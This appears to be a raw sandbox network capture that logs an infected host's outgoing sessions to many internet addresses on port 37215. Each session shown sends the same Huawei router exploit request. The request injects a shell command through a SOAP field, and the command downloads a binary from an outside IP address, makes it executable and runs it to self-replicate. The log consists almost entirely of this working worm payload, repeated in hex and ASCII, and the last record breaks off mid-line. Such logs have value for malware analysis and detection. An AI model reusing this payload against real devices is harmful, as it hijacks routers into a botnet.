Aug 1, 2024 15:34:55.817715883 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.14	36870	41.221.227.83	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.817774057 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.14	55220	77.89.16.248	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.817807913 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.14	52480	157.251.61.118	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.817809105 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.14	54494	41.94.14.140	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.817857027 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.14	45636	41.92.13.87	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.817857027 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.14	41752	41.81.68.60	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.817899942 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.14	54194	71.115.192.50	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.817926884 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.14	58020	197.83.5.96	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.817970037 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.14	54052	148.35.167.224	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.817975998 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.14	57698	197.51.110.122	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.818025112 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 